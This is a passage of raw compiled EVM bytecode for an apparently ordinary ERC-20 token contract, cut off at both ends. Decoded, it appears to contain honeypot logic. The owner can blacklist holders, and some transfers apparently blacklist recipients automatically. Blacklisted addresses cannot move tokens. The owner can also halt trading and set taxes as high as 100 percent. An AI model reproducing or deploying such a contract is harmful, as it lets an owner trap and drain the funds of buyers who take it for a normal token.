ffffffffffffffffffffffffffffffff168152602001908152602001600020546131a291906146ba565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161324291906143c1565b60405180910390a3600190509392505050565b61325e81613d95565b6000479050600081111561329957613298600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261400e565b5b5050565b60008060009050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133485750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561336b576009546008548461335e9190614a2d565b6133689190614d86565b90505b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133df57600954600654846133ce9190614a2d565b6133d89190614d86565b9050613450565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561344f57600954600754846134429190614a2d565b61344c9190614d86565b90505b5b600081111561354d5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a491906146ba565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161354491906143c1565b60405180910390a35b80836135599190614a6f565b9150509392505050565b61356b611a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156135f05750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156136465750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561378757601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136a257600080fd5b600060155411156136bd576015548111156136bc57600080fd5b5b601460009054906101000a900460ff161561370d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370490614e03565b60405180910390fd5b6000601654111561376757601654600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561376657600080fd5b5b601760009054906101000a900460ff16156137865761378582614059565b5b5b5050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561380d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161380490614e6f565b60405180910390fd5b613815611a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561389a5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156138d257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15613c0e57600d60009054906101000a900460ff16156138fd576138f78383836130c7565b50613ba4565b60006139083061193c565b90506000600c54821015905080801561392e5750600d60009054906101000a900460ff16155b80156139875750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561399f5750600d60019054906101000a900460ff165b156139c957600d60029054906101000a900460ff16156139bf57600c5491505b6139c882613255565b5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a149190614a6f565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613afa5750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613b0e57613b0986868661329d565b613b10565b835b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5d91906146ba565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613c0191906143c1565b60405180910390a3613d90565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c599190614a6f565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ce791906146ba565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613d8791906143c1565b60405180910390a35b505050565b6001600d60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115613dcd57613dcc614e8f565b5b604051908082528060200260200182016040528015613dfb5781602001602082028036833780820191505090505b5090503081600081518110613e1357613e12614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ede9190614703565b81600181518110613ef257613ef1614ebe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613f5930601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a07565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613fbd959493929190614fe6565b600060405180830381600087803b158015613fd757600080fd5b505af1158015613feb573d6000803e3d6000fd5b50505050506000600d60006101000a81548160ff02191690831515021790555050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015614054573d6000803e3d6000fd5b505050565b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140e4826140b9565b9050919050565b6140f4816140d9565b81146140ff57600080fd5b50565b600081359050614111816140eb565b92915050565b60006020828403121561412d5761412c6140b4565b5b600061413b84828501614102565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561417e578082015181840152602081019050614163565b60008484015250505050565b6000601f19601f8301169050919050565b60006141a682614144565b6141b0818561414f565b93506141c0818560208601614160565b6141c98161418a565b840191505092915050565b600060208201905081810360008301526141ee818461419b565b905092915050565b6000819050919050565b614209816141f6565b811461421457600080fd5b50565b60008135905061422681614200565b92915050565b60008060408385031215614243576142426140b4565b5b600061425185828601614102565b925050602061426285828601614217565b9150509250929050565b60008115159050919050565b6142818161426c565b82525050565b600060208201905061429c6000830184614278565b92915050565b6142ab8161426c565b81146142b657600080fd5b50565b6000813590506142c8816142a2565b92915050565b600080604083850312156142e5576142e46140b4565b5b60006142f385828601614102565b9250506020614304858286016142b9565b9150509250929050565b614317816140d9565b82525050565b6000602082019050614332600083018461430e565b92915050565b6000819050919050565b600061435d614358614353846140b9565b614338565b6140b9565b9050919050565b600061436f82614342565b9050919050565b600061438182614364565b9050919050565b61439181614376565b82525050565b60006020820190506143ac6000830184614388565b92915050565b6143bb816141f6565b82525050565b60006020820190506143d660008301846143b2565b92915050565b6000806000606084860312156143f5576143f46140b4565b5b600061440386828701614102565b935050602061441486828701614102565b925050604061442586828701614217565b9150509250925092565b600060208284031215614445576144446140b4565b5b6000614453848285016142b9565b91505092915050565b600060ff82169050919050565b6144728161445c565b82525050565b600060208201905061448d6000830184614469565b92915050565b6000806000606084860312156144ac576144ab6140b4565b5b60006144ba86828701614217565b93505060206144cb86828701614217565b92505060406144dc86828701614217565b9150509250925092565b6000602082840312156144fc576144fb6140b4565b5b600061450a84828501614217565b91505092915050565b6000806040838503121561452a576145296140b4565b5b600061453885828601614102565b925050602061454985828601614102565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061458960208361414f565b915061459482614553565b602082019050919050565b600060208201905081810360008301526145b88161457c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061460657607f821691505b602082108103614619576146186145bf565b5b50919050565b7f416c726561647920616464656421000000000000000000000000000000000000600082015250565b6000614655600e8361414f565b91506146608261461f565b602082019050919050565b6000602082019050818103600083015261468481614648565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006146c5826141f6565b91506146d0836141f6565b92508282019050808211156146e8576146e761468b565b5b92915050565b6000815190506146fd816140eb565b92915050565b600060208284031215614719576147186140b4565b5b6000614727848285016146ee565b91505092915050565b6000604082019050614745600083018561430e565b614752602083018461430e565b9392505050565b7f496e636f72726563742074617800000000000000000000000000000000000000600082015250565b600061478f600d8361414f565b915061479a82614759565b602082019050919050565b600060208201905081810360008301526147be81614782565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061482160258361414f565b915061482c826147c5565b604082019050919050565b6000602082019050818103600083015261485081614814565b9050919050565b7f4368616e67652076616c75652100000000000000000000000000000000000000600082015250565b600061488d600d8361414f565b915061489882614857565b602082019050919050565b600060208201905081810360008301526148bc81614880565b9050919050565b7f54686973206164647265737320616c7265616479207365740000000000000000600082015250565b60006148f960188361414f565b9150614904826148c3565b602082019050919050565b60006020820190508181036000830152614928816148ec565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061498b60268361414f565b91506149968261492f565b604082019050919050565b600060208201905081810360008301526149ba8161497e565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b60006149f7600c8361414f565b9150614a02826149c1565b602082019050919050565b60006020820190508181036000830152614a26816149ea565b9050919050565b6000614a38826141f6565b9150614a43836141f6565b9250828202614a51816141f6565b91508282048414831517614a6857614a6761468b565b5b5092915050565b6000614a7a826141f6565b9150614a85836141f6565b9250828203905081811115614a9d57614a9c61468b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614aff60248361414f565b9150614b0a82614aa3565b604082019050919050565b60006020820190508181036000830152614b2e81614af2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614b9160228361414f565b9150614b9c82614b35565b604082019050919050565b60006020820190508181036000830152614bc081614b84565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614bfd601d8361414f565b9150614c0882614bc7565b602082019050919050565b60006020820190508181036000830152614c2c81614bf0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614c8f60258361414f565b9150614c9a82614c33565b604082019050919050565b60006020820190508181036000830152614cbe81614c82565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614d2160238361414f565b9150614d2c82614cc5565b604082019050919050565b60006020820190508181036000830152614d5081614d14565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614d91826141f6565b9150614d9c836141f6565b925082614dac57614dab614d57565b5b828204905092915050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b6000614ded60058361414f565b9150614df882614db7565b602082019050919050565b60006020820190508181036000830152614e1c81614de0565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b6000614e5960158361414f565b9150614e6482614e23565b602082019050919050565b60006020820190508181036000830152614e8881614e4c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614f12614f0d614f0884614eed565b614338565b6141f6565b9050919050565b614f2281614ef7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f5d816140d9565b82525050565b6000614f6f8383614f54565b60208301905092915050565b6000602082019050919050565b6000614f9382614f28565b614f9d8185614f33565b9350614fa883614f44565b8060005b83811015614fd9578151614fc08882614f63565b9750614fcb83614f7b565b925050600181019050614fac565b5085935050505092915050565b600060a082019050614ffb60008301886143b2565b6150086020830187614f19565b818103604083015261501a8186614f88565b9050615029606083018561430e565b61503660808301846143b2565b969550505050505056fea264697066735822122007c5e1fb0df0c371d11753e43f0ecc92b889e1e8193ed437966e3edb294b15f664736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106102b25760003560e01c80636ddd171311610175578063b70c2841116100dc578063dd62ed3e11610095578063e2f456051161006f578063e2f4560514610af3578063f2fde38b14610b1e578063f9fa48c314610b47578063fb8bd26f14610b72576102b9565b8063dd62ed3e14610a64578063de8f151714610aa1578063e01af92c14610aca576102b9565b8063b70c284114610968578063c10ea0a514610993578063c816841b146109bc578063cc1776d3146109e7578063ce1fd38014610a12578063d6c65f4614610a3b576102b9565b806395d89b411161012e57806395d89b4114610848578063a1c61f5014610873578063a457c2d71461089c578063a9059cbb146108d9578063ae96ffe614610916578063afa4f3b21461093f576102b9565b80636ddd17131461073657806370a082311461076157806375f0a8741461079e578063860aefcf146107c957806389fe8507146107f45780638da5cb5b1461081d576102b9565b806327722f6a116102195780635342acb4116101d25780635342acb4146106185780635881f3ef1461065557806359fa6d72146106925780635b65b9ab146106bb57806363244555146106e45780636d2f2ed61461070d576102b9565b806327722f6a146104f2578063313ce5671461051d57806331cd1acd1461054857806339509351146105735780633ecad271146105b05780634f7041a5146105ed576102b9565b806317a6954b1161026b57806317a6954b146103e257806318160ddd1461040b578063228cb7331461043657806323af46d91461046157806323b872dd1461048c57806326f0d8ce146104c9576102b9565b806303204989146102be57806306fdde03146102e7578063095ea7b3146103125780630f953cca1461034f578063107aa1891461037a5780631694505e146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e09190614117565b610b9b565b005b3480156102f357600080fd5b506102fc610c8b565b60405161030991906141d4565b60405180910390f35b34801561031e57600080fd5b506103396004803603810190610334919061422c565b610d1d565b6040516103469190614287565b60405180910390f35b34801561035b57600080fd5b50610364610d40565b6040516103719190614287565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c91906142ce565b610d53565b6040516103ae919061431d565b60405180910390f35b3480156103c357600080fd5b506103cc610e0d565b6040516103d99190614397565b60405180910390f35b3480156103ee57600080fd5b50610409600480360381019061040491906142ce565b610e33565b005b34801561041757600080fd5b50610420610fb5565b60405161042d91906143c1565b60405180910390f35b34801561044257600080fd5b5061044b610fbf565b6040516104589190614287565b60405180910390f35b34801561046d57600080fd5b50610476610fd2565b6040516104839190614287565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae91906143dc565b610fe5565b6040516104c09190614287565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb919061442f565b611015565b005b3480156104fe57600080fd5b506105076110e6565b60405161051491906143c1565b60405180910390f35b34801561052957600080fd5b506105326110ec565b60405161053f9190614478565b60405180910390f35b34801561055457600080fd5b5061055d6110f5565b60405161056a91906143c1565b60405180910390f35b34801561057f57600080fd5b5061059a6004803603810190610595919061422c565b6110fb565b6040516105a79190614287565b60405180910390f35b3480156105bc57600080fd5b506105d760048036038101906105d29190614117565b611132565b6040516105e49190614287565b60405180910390f35b3480156105f957600080fd5b50610602611152565b60405161060f91906143c1565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190614117565b611158565b60405161064c9190614287565b60405180910390f35b34801561066157600080fd5b5061067c60048036038101906106779190614117565b611178565b604051610689919061431d565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b4919061442f565b611587565b005b3480156106c757600080fd5b506106e260048036038101906106dd9190614493565b611639565b005b3480156106f057600080fd5b5061070b60048036038101906107069190614117565b611749565b005b34801561071957600080fd5b50610734600480360381019061072f9190614117565b611839565b005b34801561074257600080fd5b5061074b611929565b6040516107589190614287565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190614117565b61193c565b60405161079591906143c1565b60405180910390f35b3480156107aa57600080fd5b506107b3611985565b6040516107c0919061431d565b60405180910390f35b3480156107d557600080fd5b506107de6119ab565b6040516107eb91906143c1565b60405180910390f35b34801561080057600080fd5b5061081b600480360381019061081691906144e6565b6119b1565b005b34801561082957600080fd5b50610832611a50565b60405161083f919061431d565b60405180910390f35b34801561085457600080fd5b5061085d611a79565b60405161086a91906141d4565b60405180910390f35b34801561087f57600080fd5b5061089a6004803603810190610895919061442f565b611b0b565b005b3480156108a857600080fd5b506108c360048036038101906108be919061422c565b611bbd565b6040516108d09190614287565b60405180910390f35b3480156108e557600080fd5b5061090060048036038101906108fb919061422c565b611c34565b60405161090d9190614287565b60405180910390f35b34801561092257600080fd5b5061093d600480360381019061093891906144e6565b611c58565b005b34801561094b57600080fd5b50610966600480360381019061096191906144e6565b611cf7565b005b34801561097457600080fd5b5061097d611de7565b60405161098a9190614287565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b59190614117565b611dfa565b005b3480156109c857600080fd5b506109d1611f9c565b6040516109de919061431d565b60405180910390f35b3480156109f357600080fd5b506109fc611fc2565b604051610a0991906143c1565b60405180910390f35b348015610a1e57600080fd5b50610a396004803603810190610a349190614117565b611fc8565b005b348015610a4757600080fd5b50610a626004803603810190610a5d919061442f565b6120b8565b005b348015610a7057600080fd5b50610a8b6004803603810190610a869190614513565b61216a565b604051610a9891906143c1565b60405180910390f35b348015610aad57600080fd5b50610ac86004803603810190610ac3919061422c565b6121f1565b005b348015610ad657600080fd5b50610af16004803603810190610aec919061442f565b612318565b005b348015610aff57600080fd5b50610b086123e9565b604051610b1591906143c1565b60405180910390f35b348015610b2a57600080fd5b50610b456004803603810190610b409190614117565b6123ef565b005b348015610b5357600080fd5b50610b5c6125b0565b604051610b6991906143c1565b60405180910390f35b348015610b7e57600080fd5b50610b996004803603810190610b94919061422c565b6125b6565b005b610ba36129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c279061459f565b60405180910390fd5b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054610c9a906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc6906145ee565b8015610d135780601f10610ce857610100808354040283529160200191610d13565b820191906000526020600020905b815481529060010190602001808311610cf657829003601f168201915b5050505050905090565b600080610d286129ff565b9050610d35818585612a07565b600191505092915050565b601760009054906101000a900460ff1681565b6000610d5d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de19061459f565b60405180910390fd5b81601760026101000a81548160ff02191690831515021790555082905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e3b6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf9061459f565b60405180910390fd5b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f519061466b565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600354905090565b601460009054906101000a900460ff1681565b600d60029054906101000a900460ff1681565b600080610ff06129ff565b9050610ffd858285612bd0565b611008858585612c5c565b5060019150509392505050565b61101d6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a19061459f565b60405180910390fd5b801515600d60029054906101000a900460ff161515036110c957600080fd5b80600d60026101000a81548160ff02191690831515021790555050565b60155481565b60006012905090565b60085481565b6000806111066129ff565b9050611127818585611118858961216a565b61112291906146ba565b612a07565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60065481565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006111826129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112069061459f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112839190614703565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130e9190614703565b6040518363ffffffff1660e01b815260040161132b929190614730565b602060405180830381865afa158015611348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136c9190614703565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114ff578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114119190614703565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c9190614703565b6040518363ffffffff1660e01b81526004016114b9929190614730565b6020604051808303816000875af11580156114d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fc9190614703565b91505b81601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050919050565b61158f6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116139061459f565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b6116416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c59061459f565b60405180910390fd5b61271083111580156116e257506127108211155b80156116f057506127108111155b61172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906147a5565b60405180910390fd5b826006819055508160078190555080600881905550505050565b6117516129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061459f565b60405180910390fd5b6001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6118416129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c59061459f565b60405180910390fd5b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6119b96129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061459f565b60405180910390fd5b8060158190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611a88906145ee565b80601f0160208091040260200160405190810160405280929190818152602001828054611ab4906145ee565b8015611b015780601f10611ad657610100808354040283529160200191611b01565b820191906000526020600020905b815481529060010190602001808311611ae457829003601f168201915b5050505050905090565b611b136129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b979061459f565b60405180910390fd5b80601460006101000a81548160ff02191690831515021790555050565b600080611bc86129ff565b90506000611bd6828661216a565b905083811015611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290614837565b60405180910390fd5b611c288286868403612a07565b60019250505092915050565b600080611c3f6129ff565b9050611c4c818585612c5c565b50600191505092915050565b611c606129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49061459f565b60405180910390fd5b8060168190555050565b611cff6129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d839061459f565b60405180910390fd5b60008111611d9957600080fd5b80600c5403611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd4906148a3565b60405180910390fd5b80600c8190555050565b601760029054906101000a900460ff1681565b611e026129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e869061459f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ec857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611f58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4f9061490f565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b611fd06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461205d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120549061459f565b60405180910390fd5b6001601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6120c06129ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461214d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121449061459f565b60405180910390fd5b80601760016101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6121f96129ff565b73ffffffffffffffffffffffffffffffffffffffff16600080549